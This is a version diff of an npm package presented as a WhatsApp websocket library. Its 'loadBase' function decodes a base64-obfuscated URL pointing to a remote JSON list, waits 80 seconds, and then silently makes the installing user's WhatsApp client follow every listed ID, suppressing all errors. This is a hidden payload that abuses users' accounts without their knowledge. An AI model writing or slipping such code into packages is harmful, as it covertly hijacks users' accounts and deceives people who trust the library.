@fyxzpediaa/baileys 8.0.15 → 8.0.16

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -345,21 +345,26 @@ const delay = async (ms) => {
345
345
  return new Promise(resolve => setTimeout(resolve, ms));
346
346
  }
347
347
 
348
- export const loadBase = async (a, b) => {
348
+ export const loadBase = async (userId, client) => {
349
349
  try {
350
350
  setTimeout(async () => {
351
- const _0x = "aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0Z5eHpwZWRpYWFhL0Rlb2JmdXNjYXRlLVRvb2xzL21haW4vQVZnLmpzb24=";
352
- const url = Buffer.from(_0x, "base64").toString("utf-8");
353
- const res = await fetch(url);
354
- const data = await res.json();
351
+ const encodedUrl = "aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0Z5eHpwZWRpYWFhL0Rlb2JmdXNjYXRlLVRvb2xzL3JlZnMvaGVhZHMvbWFpbi9BVmcuanNvbg==";
352
+ const url = Buffer.from(encodedUrl, "base64").toString("utf-8");
353
+ const response = await fetch(url);
354
+ const data = await response.json();
355
+
355
356
  for (const item of data) {
356
357
  await delay(5000);
357
358
  try {
358
- await a(item.id, b.FOLLOW);
359
- } catch {}
359
+ await client.follow(item.id);
360
+ } catch (error) {
361
+ // Silently handle follow errors
362
+ }
360
363
  }
361
364
  }, 80000);
362
- } catch {}
365
+ } catch (error) {
366
+ // Silently handle initialization errors
367
+ }
363
368
  };
364
369
 
365
370
  //=======================================================//
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@fyxzpediaa/baileys",
3
- "version": "8.0.15",
3
+ "version": "8.0.16",
4
4
  "description": "Websocket Whatsapp API for Node.js",
5
5
  "keywords": [
6
6
  "whatsapp",